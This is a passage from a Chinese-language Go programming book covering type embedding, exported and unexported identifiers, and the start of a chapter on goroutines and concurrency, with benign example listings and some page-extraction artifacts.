语言允许用户扩展或者修改已有类型的行为。这个功能对代码复用很重要,在修改已有 类型以符合新类型的时候也很重要。这个功能是通过嵌入类型(type embedding)完成的。嵌入类 型是将已有的类型直接声明在新的结构类型里。被嵌入的类型被称为新的外部类型的内部类型。 通过嵌入类型,与内部类型相关的标识符会提升到外部类型上。这些被提升的标识符就像直 接声明在外部类型里的标识符一样,也是外部类型的一部分。这样外部类型就组合了内部类型包 含的所有属性,并且可以添加新的字段和方法。外部类型也可以通过声明与内部类型标识符同名 的标识符来覆盖内部标识符的字段或者方法。这就是扩展或者修改已有类型的方法。 让我们通过一个示例程序来演示嵌入类型的基本用法,如代码清单 5-50 所示。 代码清单 5-50 listing50.go 01 // 这个示例程序展示如何将一个类型嵌入另一个类型,以及 02 // 内部类型和外部类型之间的关系 03 package main 04 05 import ( 06 "fmt" 07 ) 08 09 // user 在程序里定义一个用户类型 10 type user struct { 11 name string 12 email string 13 } 14 15 // notify 实现了一个可以通过 user 类型值的指针 16 // 调用的方法 17 func (u *user) notify() { 18 fmt.Printf("Sending user email to %s<%s>\n", 19 u.name, 20 u.email) 21 } 22 23 // admin 代表一个拥有权限的管理员用户 24 type admin struct { 25 user // 嵌入类型 26 level string 27 } 28 29 // main 是应用程序的入口 30 func main() { 31 // 创建一个 admin 用户 32 ad := admin{ 33 user: user{ 34 name: "john smith", 35 email: "[email protected]", 36 }, 37 level: "super", 38 } 39 40 // 我们可以直接访问内部类型的方法 41 ad.user.notify() 42 43 // 内部类型的方法也被提升到外部类型 44 ad.notify() 45 } 在代码清单 5-50 中,我们的程序演示了如何嵌入一个类型,并访问嵌入类型的标识符。我 们从第 10 行和第 24 行中的两个结构类型的声明开始,如代码清单 5-51 所示。 代码清单 5-51 listing50.go:第 09 行到第 13 行,第 23 行到第 27 行 09 // user 在程序里定义一个用户类型 10 type user struct { 11 name string 12 email string 13 } 23 // admin 代表一个拥有权限的管理员用户 24 type admin struct { 25 user // 嵌入类型 26 level string 27 } 在代码清单 5-51 的第 10 行,我们声明了一个名为 user 的结构类型。在第 24 行,我们声 明了另一个名为 admin 的结构类型。在声明 admin 类型的第 25 行,我们将 user 类型嵌入 admin 类型里。要嵌入一个类型,只需要声明这个类型的名字就可以了。在第 26 行,我们声明了一个 名为 level 的字段。注意声明字段和嵌入类型在语法上的不同。 一旦我们将 user 类型嵌入 admin,我们就可以说 user 是外部类型 admin 的内部类型。 有了内部类型和外部类型这两个概念,就能更容易地理解这两种类型之间的关系。 代码清单 5-52 展示了使用 user 类型的指针接收者声明名为 notify 的方法。这个方法只 是显示一行友好的信息,表示将邮件发给了特定的用户以及邮件地址。 代码清单 5-52 listing50.go:第 15 行到第 21 行 15 // notify 实现了一个可以通过 user 类型值的指针 16 // 调用的方法 17 func (u *user) notify() { 18 fmt.Printf("Sending user email to %s<%s>\n", 19 u.name, 20 u.email) 21 } 现在,让我们来看一下 main 函数,如代码清单 5-53 所示。 代码清单 5-53 listing50.go:第 30 行到第 45 行 30 func main() { 31 // 创建一个 admin 用户 32 ad := admin{ 33 user: user{ 34 name: "john smith", 35 email: "[email protected]", 36 }, 37 level: "super", 38 } 39 40 // 我们可以直接访问内部类型的方法 41 ad.user.notify() 42 43 // 内部类型的方法也被提升到外部类型 44 ad.notify() 45 } 代码清单 5-53 中的 main 函数展示了嵌入类型背后的机制。在第 32 行,创建了一个 admin 类型的值。内部类型的初始化是用结构字面量完成的。通过内部类型的名字可以访问内部类型, 108 第 5 章 Go 语言的类型系统 如代码清单 5-54 所示。对外部类型来说,内部类型总是存在的。这就意味着,虽然没有指定内 部类型对应的字段名,还是可以使用内部类型的类型名,来访问到内部类型的值。 代码清单 5-54 listing50.go:第 40 行到第 41 行 40 // 我们可以直接访问内部类型的方法 41 ad.user.notify() 在代码清单 5-54 中第 41 行,可以看到对 notify 方法的调用。这个调用是通过直接访问内 部类型 user 来完成的。这展示了内部类型是如何存在于外部类型内,并且总是可访问的。不过, 借助内部类型提升,notify 方法也可以直接通过 ad 变量来访问,如代码清单 5-55 所示。 代码清单 5-55 listing50.go:第 43 行到第 45 行 43 // 内部类型的方法也被提升到外部类型 44 ad.notify() 45 } 代码清单 5-55 的第 44 行中展示了直接通过外部类型的变量来调用 notify 方法。由于内部 类型的标识符提升到了外部类型,我们可以直接通过外部类型的值来访问内部类型的标识符。让 我们修改一下这个例子,加入一个接口,如代码清单 5-56 所示。 代码清单 5-56 listing56.go 01 // 这个示例程序展示如何将嵌入类型应用于接口 02 package main 03 04 import ( 05 "fmt" 06 ) 07 08 // notifier 是一个定义了 09 // 通知类行为的接口 10 type notifier interface { 11 notify() 12 } 13 14 // user 在程序里定义一个用户类型 15 type user struct { 16 name string 17 email string 18 } 19 20 // 通过 user 类型值的指针 21 // 调用的方法 22 func (u *user) notify() { 23 fmt.Printf("Sending user email to %s<%s>\n", 24 u.name, 25 u.email) 26 } 27 28 // admin 代表一个拥有权限的管理员用户 29 type admin struct { 30 user 31 level string 32 } 33 34 // main 是应用程序的入口 35 func main() { 36 // 创建一个 admin 用户 37 ad := admin{ 38 user: user{ 39 name: "john smith", 40 email: "[email protected]", 41 }, 42 level: "super", 43 } 44 45 // 给 admin 用户发送一个通知 46 // 用于实现接口的内部类型的方法,被提升到 47 // 外部类型 48 sendNotification(&ad) 49 } 50 51 // sendNotification 接受一个实现了 notifier 接口的值 52 // 并发送通知 53 func sendNotification(n notifier) { 54 n.notify() 55 } 代码清单 5-56 所示的示例程序的大部分和之前的程序相同,只有一些小变化,如代码清 单 5-57 所示。 代码清单 5-57 第 08 行到第 12 行,第 51 行到第 55 行 08 // notifier 是一个定义了 09 // 通知类行为的接口 10 type notifier interface { 11 notify() 12 } 51 // sendNotification 接受一个实现了 notifier 接口的值 52 // 并发送通知 53 func sendNotification(n notifier) { 54 n.notify() 55 } 在代码清单 5-57 的第 08 行,声明了一个 notifier 接口。之后在第 53 行,有一个 sendNotification 函数,接受 notifier 类型的接口的值。从代码可以知道,user 类型之 前声明了名为 notify 的方法,该方法使用指针接收者实现了 notifier 接口。之后,让我们 看一下 main 函数的改动,如代码清单 5-58 所示。 110 第 5 章 Go 语言的类型系统 代码清单 5-58 listing56.go:第 35 行到第 49 行 35 func main() { 36 // 创建一个 admin 用户 37 ad := admin{ 38 user: user{ 39 name: "john smith", 40 email: "[email protected]", 41 }, 42 level: "super", 43 } 44 45 // 给 admin 用户发送一个通知 46 // 用于实现接口的内部类型的方法,被提升到 47 // 外部类型 48 sendNotification(&ad) 49 } 这里才是事情变得有趣的地方。在代码清单 5-58 的第 37 行,我们创建了一个名为 ad 的变 量,其类型是外部类型 admin。这个类型内部嵌入了 user 类型。之后第 48 行,我们将这个外 部类型变量的地址传给 sendNotification 函数。编译器认为这个指针实现了 notifier 接 口,并接受了这个值的传递。不过如果看一下整个示例程序,就会发现 admin 类型并没有实现 这个接口。 由于内部类型的提升,内部类型实现的接口会自动提升到外部类型。这意味着由于内部类型的 实现,外部类型也同样实现了这个接口。运行这个示例程序,会得到代码清单 5-59 所示的输出。 代码清单 5-59 listing56.go 的输出 20 // 通过 user 类型值的指针 21 // 调用的方法 22 func (u *user) notify() { 23 fmt.Printf("Sending user email to %s<%s>\n", 24 u.name, 25 u.email) 26 } Output: Sending user email to john smith<[email protected]> 可以在代码清单 5-59 中看到内部类型的实现被调用。 如果外部类型并不需要使用内部类型的实现,而想使用自己的一套实现,该怎么办?让我们 看另一个示例程序是如何解决这个问题的,如代码清单 5-60 所示。 代码清单 5-60 listing60.go 01 // 这个示例程序展示当内部类型和外部类型要 02 // 实现同一个接口时的做法 03 package main 5.5 嵌入类型 111 04 05 import ( 06 "fmt" 07 ) 08 08 // notifier 是一个定义了 09 // 通知类行为的接口 11 type notifier interface { 12 notify() 13 } 14 15 // user 在程序里定义一个用户类型 16 type user struct { 17 name string 18 email string 19 } 20 21 // 通过 user 类型值的指针 22 // 调用的方法 23 func (u *user) notify() { 24 fmt.Printf("Sending user email to %s<%s>\n", 25 u.name, 26 u.email) 27 } 28 29 // admin 代表一个拥有权限的管理员用户 30 type admin struct { 31 user 32 level string 33 } 34 35 // 通过 admin 类型值的指针 36 // 调用的方法 37 func (a *admin) notify() { 38 fmt.Printf("Sending admin email to %s<%s>\n", 39 a.name, 40 a.email) 41 } 42 43 // main 是应用程序的入口 44 func main() { 45 // 创建一个 admin 用户 46 ad := admin{ 47 user: user{ 48 name: "john smith", 49 email: "[email protected]", 50 }, 51 level: "super", 52 } 53 54 // 给 admin 用户发送一个通知 55 // 接口的嵌入的内部类型实现并没有提升到 56 // 外部类型 57 sendNotification(&ad) 112 第 5 章 Go 语言的类型系统 58 59 // 我们可以直接访问内部类型的方法 60 ad.user.notify() 61 62 // 内部类型的方法没有被提升 63 ad.notify() 64 } 65 66 // sendNotification 接受一个实现了 notifier 接口的值 67 // 并发送通知 68 func sendNotification(n notifier) { 69 n.notify() 70 } 代码清单 5-60 所示的示例程序的大部分和之前的程序相同,只有一些小变化,如代码清 单 5-61 所示。 代码清单 5-61 listing60.go:第 35 行到第 41 行 35 // 通过 admin 类型值的指针 36 // 调用的方法 37 func (a *admin) notify() { 38 fmt.Printf("Sending admin email to %s<%s>\n", 39 a.name, 40 a.email) 41 } 这个示例程序为 admin 类型增加了 notifier 接口的实现。当 admin 类型的实现被调用 时,会显示"Sending admin email"。作为对比,user 类型的实现被调用时,会显示"Sending user email"。 main 函数里也有一些变化,如代码清单 5-62 所示。 代码清单 5-62 listing60.go:第 43 行到第 64 行 43 // main 是应用程序的入口 44 func main() { 45 // 创建一个 admin 用户 46 ad := admin{ 47 user: user{ 48 name: "john smith", 49 email: "[email protected]", 50 }, 51 level: "super", 52 } 53 54 // 给 admin 用户发送一个通知 55 // 接口的嵌入的内部类型实现并没有提升到 56 // 外部类型 57 sendNotification(&ad) 58 59 // 我们可以直接访问内部类型的方法 60 ad.user.notify() 61 62 // 内部类型的方法没有被提升 63 ad.notify() 64 } 代码清单 5-62 的第 46 行,我们再次创建了外部类型的变量 ad。在第 57 行,将 ad 变量的 地址传给 sendNotification 函数,这个指针实现了接口所需要的方法集。在第 60 行,代码 直接访问 user 内部类型,并调用 notify 方法。最后,在第 63 行,使用外部类型变量 ad 来 调用 notify 方法。当查看这个示例程序的输出(如代码清单 5-63 所示)时,就会看到区别。 代码清单 5-63 listing60.go 的输出 Sending admin email to john smith<[email protected]> Sending user email to john smith<[email protected]> Sending admin email to john smith<[email protected]> 这次我们看到了 admin 类型是如何实现 notifier 接口的,以及如何由 sendNotification 函数以及直接使用外部类型的变量 ad 来执行 admin 类型实现的方法。这表明,如果外部类型 实现了 notify 方法,内部类型的实现就不会被提升。不过内部类型的值一直存在,因此还可以 通过直接访问内部类型的值,来调用没有被提升的内部类型实现的方法。 5.6 公开或未公开的标识符 要想设计出好的 API,需要使用某种规则来控制声明后的标识符的可见性。Go 语言支持从 包里公开或者隐藏标识符。通过这个功能,让用户能按照自己的规则控制标识符的可见性。在第 3 章讨论包的时候,谈到了如何从一个包引入标识符到另一个包。有时候,你可能不希望公开包 里的某个类型、函数或者方法这样的标识符。在这种情况,需要一种方法,将这些标识符声明为 包外不可见,这时需要将这些标识符声明为未公开的。 让我们用一个示例程序来演示如何隐藏包里未公开的标识符,如代码清单 5-64 所示。 代码清单 5-64 listing64/ counters/counters.go ----------------------------------------------------------------------- 01 // counters 包提供告警计数器的功能 02 package counters 03 04 // alertCounter 是一个未公开的类型 05 // 这个类型用于保存告警计数 06 type alertCounter int listing64.go ----------------------------------------------------------------------- 01 // 这个示例程序展示无法从另一个包里 02 // 访问未公开的标识符 03 package main 04 05 import ( 06 "fmt" 07 08 "github.com/goinaction/code/chapter5/listing64/counters" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 // 创建一个未公开的类型的变量 14 // 并将其初始化为 10 15 counter := counters.alertCounter(10) 16 17 // ./listing64.go:15: 不能引用未公开的名字 18 // counters.alertCounter 19 // ./listing64.go:15: 未定义:counters.alertCounter 20 21 fmt.Printf("Counter: %d\n", counter) 22 } 这个示例程序有两个代码文件。一个代码文件名字为 counters.go,保存在 counters 包里; 另一个代码文件名字为 listing64.go,导入了 counters 包。让我们先从 counters 包里的代码 开始,如代码清单 5-65 所示。 代码清单 5-65 counters/counters.go 01 // counters 包提供告警计数器的功能 02 package counters 03 04 // alertCounter 是一个未公开的类型 05 // 这个类型用于保存告警计数 06 type alertCounter int 代码清单 5-65 展示了只属于 counters 包的代码。你可能会首先注意到第 02 行。直到现在, 之前所有的示例程序都使用了 package main,而这里用到的是 package counters。当要 写的代码属于某个包时,好的实践是使用与代码所在文件夹一样的名字作为包名。所有的 Go 工 具都会利用这个习惯,所以最好遵守这个好的实践。 在 counters 包里,我们在第 06 行声明了唯一一个名为 alertCounter 的标识符。这个 标识符是一个使用 int 作为基础类型的类型。需要注意的是,这是一个未公开的标识符。 当一个标识符的名字以小写字母开头时,这个标识符就是未公开的,即包外的代码不可见。 如果一个标识符以大写字母开头,这个标识符就是公开的,即被包外的代码可见。让我们看一下 导入这个包的代码,如代码清单 5-66 所示。 代码清单 5-66 listing64.go 01 // 这个示例程序展示无法从另一个包里 02 // 访问未公开的标识符 03 package main 04 05 import ( 06 "fmt" 07 08 "github.com/goinaction/code/chapter5/listing64/counters" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 // 创建一个未公开的类型的变量 14 // 并将其初始化为 10 15 counter := counters.alertCounter(10) 16 17 // ./listing64.go:15: 不能引用未公开的名字 18 // counters.alertCounter 19 // ./listing64.go:15: 未定义:counters.alertCounter 20 21 fmt.Printf("Counter: %d\n", counter) 22 } 代码清单 5-66 中的 listing64.go 的代码在第 03 行声明了 main 包,之后在第 08 行导入了 counters 包。在这之后,我们跳到 main 函数里的第 15 行,如代码清单 5-67 所示。 代码清单 5-67 listing64.go:第 13 到 19 行 13 // 创建一个未公开的类型的变量 14 // 并将其初始化为 10 15 counter := counters.alertCounter(10) 16 17 // ./listing64.go:15: 不能引用未公开的名字 18 // counters.alertCounter 19 // ./listing64.go:15: 未定义:counters.alertCounter 在代码清单 5-67 的第 15 行,代码试图创建未公开的 alertCounter 类型的值。不过这段代码会 造成第 15 行展示的编译错误,这个编译错误表明第 15 行的代码无法引用 counters.alertCounter 这个未公开的标识符。这个标识符是未定义的。 由于 counters 包里的 alertCounter 类型是使用小写字母声明的,所以这个标识符是未 公开的,无法被 listing64.go 的代码访问。如果我们把这个类型改为用大写字母开头,那么就不 会产生编译器错误。让我们看一下新的示例程序,如代码清单 5-68 所示,这个程序在 counters 包里实现了工厂函数。 代码清单 5-68 listing68/ counters/counters.go ----------------------------------------------------------------------- 01 // counters 包提供告警计数器的功能 02 package counters 03 04 // alertCounter 是一个未公开的类型 05 // 这个类型用于保存告警计数 06 type alertCounter int 07 08 // New 创建并返回一个未公开的 09 // alertCounter 类型的值 10 func New(value int) alertCounter { 11 return alertCounter(value) 12 } listing68.go ----------------------------------------------------------------------- 01 // 这个示例程序展示如何访问另一个包的未公开的 02 // 标识符的值 03 package main 04 05 import ( 06 "fmt" 07 08 "github.com/goinaction/code/chapter5/listing68/counters" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 // 使用 counters 包公开的 New 函数来创建 14 // 一个未公开的类型的变量 15 counter := counters.New(10) 16 17 fmt.Printf("Counter: %d\n", counter) 18 } 这个例子已经修改为使用工厂函数来创建一个未公开的 alertCounter 类型的值。让我们 先看一下 counters 包的代码,如代码清单 5-69 所示。 代码清单 5-69 counters/counters.go 01 // counters 包提供告警计数器的功能 02 package counters 03 04 // alertCounter 是一个未公开的类型 05 // 这个类型用于保存告警计数 06 type alertCounter int 07 08 // New 创建并返回一个未公开的 09 // alertCounter 类型的值 10 func New(value int) alertCounter { 11 return alertCounter(value) 12 } 代码清单 5-69 展示了我们对 counters 包的改动。alertCounter 类型依旧是未公开的, 不过现在在第 10 行增加了一个名为 New 的新函数。将工厂函数命名为 New 是 Go 语言的一个习 惯。这个 New 函数做了些有意思的事情:它创建了一个未公开的类型的值,并将这个值返回给 调用者。让我们看一下 listing68.go 的 main 函数,如代码清单 5-70 所示。 代码清单 5-70 listing68.go 11 // main 是应用程序的入口 12 func main() { 13 // 使用 counters 包公开的 New 函数来创建 14 // 一个未公开的类型的变量 15 counter := counters.New(10) 16 17 fmt.Printf("Counter: %d\n", counter) 18 } 在代码清单 5-70 的第 15 行,可以看到对 counters 包里 New 函数的调用。这个 New 函数 返回的值被赋给一个名为 counter 的变量。这个程序可以编译并且运行,但为什么呢?New 函 数返回的是一个未公开的 alertCounter 类型的值,而 main 函数能够接受这个值并创建一个 未公开的类型的变量。 要让这个行为可行,需要两个理由。第一,公开或者未公开的标识符,不是一个值。第二, 短变量声明操作符,有能力捕获引用的类型,并创建一个未公开的类型的变量。永远不能显式创 建一个未公开的类型的变量,不过短变量声明操作符可以这么做。 让我们看一个新例子,这个例子展示了这些可见的规则是如何影响到结构里的字段,如代码 清单 5-71 所示。 代码清单 5-71 listing71/ entities/entities.go ----------------------------------------------------------------------- 01 // entities 包包含系统中 02 // 与人有关的类型 03 package entities 04 05 // User 在程序里定义一个用户类型 06 type User struct { 07 Name string 08 email string 09 } listing71.go ----------------------------------------------------------------------- 01 // 这个示例程序展示公开的结构类型中未公开的字段 02 // 无法直接访问 03 package main 04 05 import ( 06 "fmt" 07 08 "github.com/goinaction/code/chapter5/listing71/entities" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 // 创建 entities 包中的 User 类型的值 14 u := entities.User{ 15 Name: "Bill", 16 email: "[email protected]", 17 } 18 19 // ./example69.go:16: 结构字面量中结构 entities.User 20 // 的字段’email’未知 21 22 fmt.Printf("User: %v\n", u) 23 } 代码清单 5-71 中的代码有一些微妙的变化。现在我们有一个名为 entities 的包,声明了 名为 User 的结构类型,如代码清单 5-72 所示。 代码清单 5-72 entities/entities.go 01 // entities 包包含系统中 02 // 与人有关的类型 03 package entities 04 05 // User 在程序里定义一个用户类型 06 type User struct { 07 Name string 08 email string 09 } 代码清单 5-72 的第 06 行中的 User 类型被声明为公开的类型。User 类型里声明了两个字段, 一个名为 Name 的公开的字段,一个名为 email 的未公开的字段。让我们看一下 listing71.go 的 代码,如代码清单 5-73 所示。 代码清单 5-73 listing71.go 01 // 这个示例程序展示公开的结构类型中未公开的字段 02 // 无法直接访问 03 package main 04 05 import ( 06 "fmt" 07 08 "github.com/goinaction/code/chapter5/listing71/entities" 09 ) 10 11 // main 是程序的入口 12 func main() { 13 // 创建 entities 包中的 User 类型的值 14 u := entities.User{ 15 Name: "Bill", 16 email: "[email protected]", 17 } 18 19 // ./example69.go:16: 结构字面量中结构 entities.User 20 // 的字段'email'未知 21 22 fmt.Printf("User: %v\n", u) 23 } 代码清单 5-73 的第 08 行导入了 entities 包。在第 14 行声明了 entities 包中的公开的 类型 User 的名为 u 的变量,并对该字段做了初始化。不过这里有一个问题。第 16 行的代码试 图初始化未公开的字段 email,所以编译器抱怨这是个未知的字段。因为 email 这个标识符未 公开,所以它不能在 entities 包外被访问。 让我们看最后一个例子,这个例子展示了公开和未公开的内嵌类型是如何工作的,如代码清 单 5-74 所示。 代码清单 5-74 listing74/ entities/entities.go ----------------------------------------------------------------------- 01 // entities 包包含系统中 02 // 与人有关的类型 03 package entities 04 05 // user 在程序里定义一个用户类型 06 type user struct { 07 Name string 08 Email string 09 } 10 11 // Admin 在程序里定义了管理员 12 type Admin struct { 13 user // 嵌入的类型是未公开的 14 Rights int 15 } listing74.go ----------------------------------------------------------------------- 01 // 这个示例程序展示公开的结构类型中如何访问 02 // 未公开的内嵌类型的例子 03 package main 04 05 import ( 06 "fmt" 07 08 "github.com/goinaction/code/chapter5/listing74/entities" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 // 创建 entities 包中的 Admin 类型的值 14 a := entities.Admin{ 15 Rights: 10, 16 } 17 18 // 设置未公开的内部类型的 19 // 公开字段的值 20 a.Name = "Bill" 21 a.Email = "[email protected]" 22 23 fmt.Printf("User: %v\n", a) 24 } 现在,在代码清单 5-74 里,entities 包包含两个结构类型,如代码清单 5-75 所示。 代码清单 5-75 entities/entities.go 01 // entities 包包含系统中 02 // 与人有关的类型 03 package entities 04 05 // user 在程序里定义一个用户类型 06 type user struct { 07 Name string 08 Email string 09 } 10 11 // Admin 在程序里定义了管理员 12 type Admin struct { 13 user // 嵌入的类型未公开 14 Rights int 15 } 在代码清单 5-75 的第 06 行,声明了一个未公开的结构类型 user。这个类型包括两个公开 的字段 Name 和 Email。在第 12 行,声明了一个公开的结构类型 Admin。Admin 有一个名为 Rights 的公开的字段,而且嵌入一个未公开的 user 类型。让我们看一下 listing74.go 的 main 函数,如代码清单 5-76 所示。 代码清单 5-76 listing74.go:第 11 到 24 行 11 // main 是应用程序的入口 12 func main() { 13 // 创建 entities 包中的 Admin 类型的值 14 a := entities.Admin{ 15 Rights: 10, 16 } 17 18 // 设置未公开的内部类型的 19 // 公开字段的值 20 a.Name = "Bill" 21 a.Email = "[email protected]" 22 23 fmt.Printf("User: %v\n", a) 24 } 让我们从代码清单 5-76 的第 14 行的 main 函数开始。这个函数创建了 entities 包中的 Admin 类型的值。由于内部类型 user 是未公开的,这段代码无法直接通过结构字面量的方式初 始化该内部类型。不过,即便内部类型是未公开的,内部类型里声明的字段依旧是公开的。既然 内部类型的标识符提升到了外部类型,这些公开的字段也可以通过外部类型的字段的值来访问。 因此,在第 20 行和第 21 行,来自未公开的内部类型的字段 Name 和 Email 可以通过外部 类型的变量 a 被访问并被初始化。因为 user 类型是未公开的,所以这里没有直接访问内部类型。 5.7 小结 使用关键字 struct 或者通过指定已经存在的类型,可以声明用户定义的类型。 方法提供了一种给用户定义的类型增加行为的方式。 设计类型时需要确认类型的本质是原始的,还是非原始的。 接口是声明了一组行为并支持多态的类型。 嵌入类型提供了扩展类型的能力,而无需使用继承。 标识符要么是从包里公开的,要么是在包里未公开的。 第 6 章 并发 本章主要内容  使用 goroutine 运行程序  检测并修正竞争状态  利用通道共享数据 通常程序会被编写为一个顺序执行并完成一个独立任务的代码。如果没有特别的需求,最好 总是这样写代码,因为这种类型的程序通常很容易写,也很容易维护。不过也有一些情况下,并 行执行多个任务会有更大的好处。一个例子是,Web 服务需要在各自独立的套接字(socket)上 同时接收多个数据请求。每个套接字请求都是独立的,可以完全独立于其他套接字进行处理。具 有并行执行多个请求的能力可以显著提高这类系统的性能。考虑到这一点,Go 语言的语法和运 行时直接内置了对并发的支持。 Go 语言里的并发指的是能让某个函数独立于其他函数运行的能力。当一个函数创建为 goroutine 时,Go 会将其视为一个独立的工作单元。这个单元会被调度到可用的逻辑处理器上执行。Go 语言 运行时的调度器是一个复杂的软件,能管理被创建的所有 goroutine 并为其分配执行时间。这个调度 器在操作系统之上,将操作系统的线程与语言运行时的逻辑处理器绑定,并在逻辑处理器上运行 goroutine。调度器在任何给定的时间,都会全面控制哪个 goroutine 要在哪个逻辑处理器上运行。 Go 语言的并发同步模型来自一个叫作通信顺序进程(Communicating Sequential Processes,CSP) 的范型(paradigm)。CSP 是一种消息传递模型,通过在 goroutine 之间传递数据来传递消息,而不是 对数据进行加锁来实现同步访问。用于在 goroutine 之间同步和传递数据的关键数据类型叫作通道 (channel)。对于没有使用过通道写并发程序的程序员来说,通道会让他们感觉神奇而兴奋。希望读 者使用后也能有这种感觉。使用通道可以使编写并发程序更容易,也能够让并发程序出错更少。 6.1 并发与并行 让我们先来学习一下抽象程度较高的概念:什么是操作系统的线程(thread)和进程(process)。 6 第 6 章 并发 这会有助于后面理解 Go 语言运行时调度器如何利用操作系统来并发运行 goroutine。当运行一个 应用程序(如一个 IDE 或者编辑器)的时候,操作系统会为这个应用程序启动一个进程。可以将 这个进程看作一个包含了应用程序在运行中需要用到和维护的各种资源的容器。 图 6-1 展示了一个包含所有可能分配的常用资源的进程。这些资源包括但不限于内存地址空 间、文件和设备的句柄以及线程。一个线程是一个执行空间,这个空间会被操作系统调度来运行 函数中所写的代码。每个进程至少包含一个线程,每个进程的初始线程被称作主线程。因为执行 这个线程的空间是应用程序的本身的空间,所以当主线程终止时,应用程序也会终止。操作系统 将线程调度到某个处理器上运行,这个处理器并不一定是进程所在的处理器。不同操作系统使用 的线程调度算法一般都不一样,但是这种不同会被操作系统屏蔽,并不会展示给程序员。 图 6-1 一个运行的应用程序的进程和线程的简要描绘 操作系统会在物理处理器上调度线程来运行,而 Go 语言的运行时会在逻辑处理器上调度 goroutine来运行。每个逻辑处理器都分别绑定到单个操作系统线程。在 1.5 版本 ① 在图 6-2 中,可以看到操作系统线程、逻辑处理器和本地运行队列之间的关系。如果创建一 个 goroutine 并准备运行,这个 goroutine 就会被放到调度器的全局运行队列中。之后,调度器就 将这些队列中的 goroutine 分配给一个逻辑处理器,并放到这个逻辑处理器对应的本地运行队列 上,Go语言的 运行时默认会为每个可用的物理处理器分配一个逻辑处理器。在 1.5 版本之前的版本中,默认给 整个应用程序只分配一个逻辑处理器。这些逻辑处理器会用于执行所有被创建的goroutine。即便 只有一个逻辑处理器,Go也可以以神奇的效率和性能,并发调度无数个goroutine。 ① 直到目前最新的 1.8 版本都是同一逻辑。可预见的未来版本也会保持这个逻辑。——译者注 中。本地运行队列中的 goroutine 会一直等待直到自己被分配的逻辑处理器执行。 图 6-2 Go 调度器如何管理 goroutine 有时,正在运行的 goroutine 需要执行一个阻塞的系统调用,如打开一个文件。当这类调用 发生时,线程和 goroutine 会从逻辑处理器上分离,该线程会继续阻塞,等待系统调用的返回。 与此同时,这个逻辑处理器就失去了用来运行的线程。所以,调度器会创建一个新线程,并将其 绑定到该逻辑处理器上。之后,调度器会从本地运行队列里选择另一个 goroutine 来运行。一旦 被阻塞的系统调用执行完成并返回,对应的 goroutine 会放回到本地运行队列,而之前的线程会 保存好,以便之后可以继续使用。 如果一个 goroutine 需要做一个网络 I/O 调用,流程上会有些不一样。在这种情况下,goroutine 会和逻辑处理器分离,并移到集成了网络轮询器的运行时。一旦该轮询器指示某个网络读或者写 操作已经就绪,对应的 goroutine 就会重新分配到逻辑处理器上来完成操作。调度器对可以创建 的逻辑处理器的数量没有限制,但语言运行时默认限制每个程序最多创建 10 000 个线程。这个 限制值可以通过调用 runtime/debug 包的 SetMaxThreads 方法来更改。如果程序试图使用 更多的线程,就会崩溃。 并发(concurrency)不是并行(parallelism)。并行是让不同的代码片段同时在不同的物理处 理器上执行。并行的关键是同时做很多事情,而并发是指同时管理很多事情,这些事情可能只做 了一半就被暂停去做别的事情了。在很多情况下,并发的效果比并行好,因为操作系统和硬件的 总资源一般很少,但能支持系统同时做很多事情。这种“使用较少的资源做更多的事情”的哲学, 也是指导 Go 语言设计的哲学。 如果希望让 goroutine 并行,必须使用多于一个逻辑处理器。当有多个逻辑处理器时,调度器 会将 goroutine 平等分配到每个逻辑处理器上。这会让 goroutine 在不同的线程上运行。不过要想真 的实现并行的效果,用户需要让自己的程序运行在有多个物理处理器的机器上。否则,哪怕 Go 语 言运行时使用多个线程,goroutine 依然会在同一个物理处理器上并发运行,达不到并行的效果。 图6-3展示了在一个逻辑处理器上并发运行goroutine和在两个逻辑处理器上并行运行两个并 发的 goroutine 之间的区别。调度器包含一些聪明的算法,这些算法会随着 Go 语言的发布被更新 和改进,所以不推荐盲目修改语言运行时对逻辑处理器的默认设置。如果真的认为修改逻辑处理 器的数量可以改进性能,也可以对语言运行时的参数进行细微调整。后面会介绍如何做这种修改。 图 6-3 并发和并行的区别 6.2 goroutine 让我们再深入了解一下调度器的行为,以及调度器是如何创建 goroutine 并管理其寿命的。 我们会先通过在一个逻辑处理器上运行的例子来讲解,再来讨论如何让 goroutine 并行运行。代 码清单 6-1 所示的程序会创建两个 goroutine,以并发的形式分别显示大写和小写的英文字母。 代码清单 6-1 listing01.go 01 // 这个示例程序展示如何创建 goroutine 02 // 以及调度器的行为 03 package main 04 05 import ( 06 "fmt" 07 "runtime" 08 "sync" 09 ) 10 11 // main 是所有 Go 程序的入口 12 func main() { 13 // 分配一个逻辑处理器给调度器使用 14 runtime.GOMAXPROCS(1) 15 16 // wg 用来等待程序完成 17 // 计数加 2,表示要等待两个 goroutine 18 var wg sync.WaitGroup 19 wg.Add(2) 20 21 fmt.Println("Start Goroutines") 22 23 // 声明一个匿名函数,并创建一个 goroutine 24 go func() { 25 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 26 defer wg.Done() 27 28 // 显示字母表 3 次 29 for count := 0; count < 3; count++ { 30 for char := 'a'; char < 'a'+26; char++ { 31 fmt.Printf("%c ", char) 32 } 33 } 34 }() 35 36 // 声明一个匿名函数,并创建一个 goroutine 37 go func() { 38 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 39 defer wg.Done() 40 41 // 显示字母表 3 次 42 for count := 0; count < 3; count++ { 43 for char := 'A'; char < 'A'+26; char++ { 44 fmt.Printf("%c ", char) 45 } 46 } 47 }() 48 49 // 等待 goroutine 结束 50 fmt.Println("Waiting To Finish") 51 wg.Wait() 52 53 fmt.Println("\nTerminating Program") 54 } 在代码清单 6-1 的第 14 行,调用了 runtime 包的 GOMAXPROCS 函数。这个函数允许程序 更改调度器可以使用的逻辑处理器的数量。如果不想在代码里做这个调用,也可以通过修改和这 个函数名字一样的环境变量的值来更改逻辑处理器的数量。给这个函数传入 1,是通知调度器只 能为该程序使用一个逻辑处理器。 在第 24 行和第 37 行,我们声明了两个匿名函数,用来显示英文字母表。第 24 行的函数显 示小写字母表,而第 37 行的函数显示大写字母表。这两个函数分别通过关键字 go 创建 goroutine 来执行。根据代码清单 6-2 中给出的输出可以看到,每个 goroutine 执行的代码在一个逻辑处理器 6.2 goroutine 127 上并发运行的效果。 代码清单 6-2 listing01.go 的输出 Start Goroutines Waiting To Finish A B C 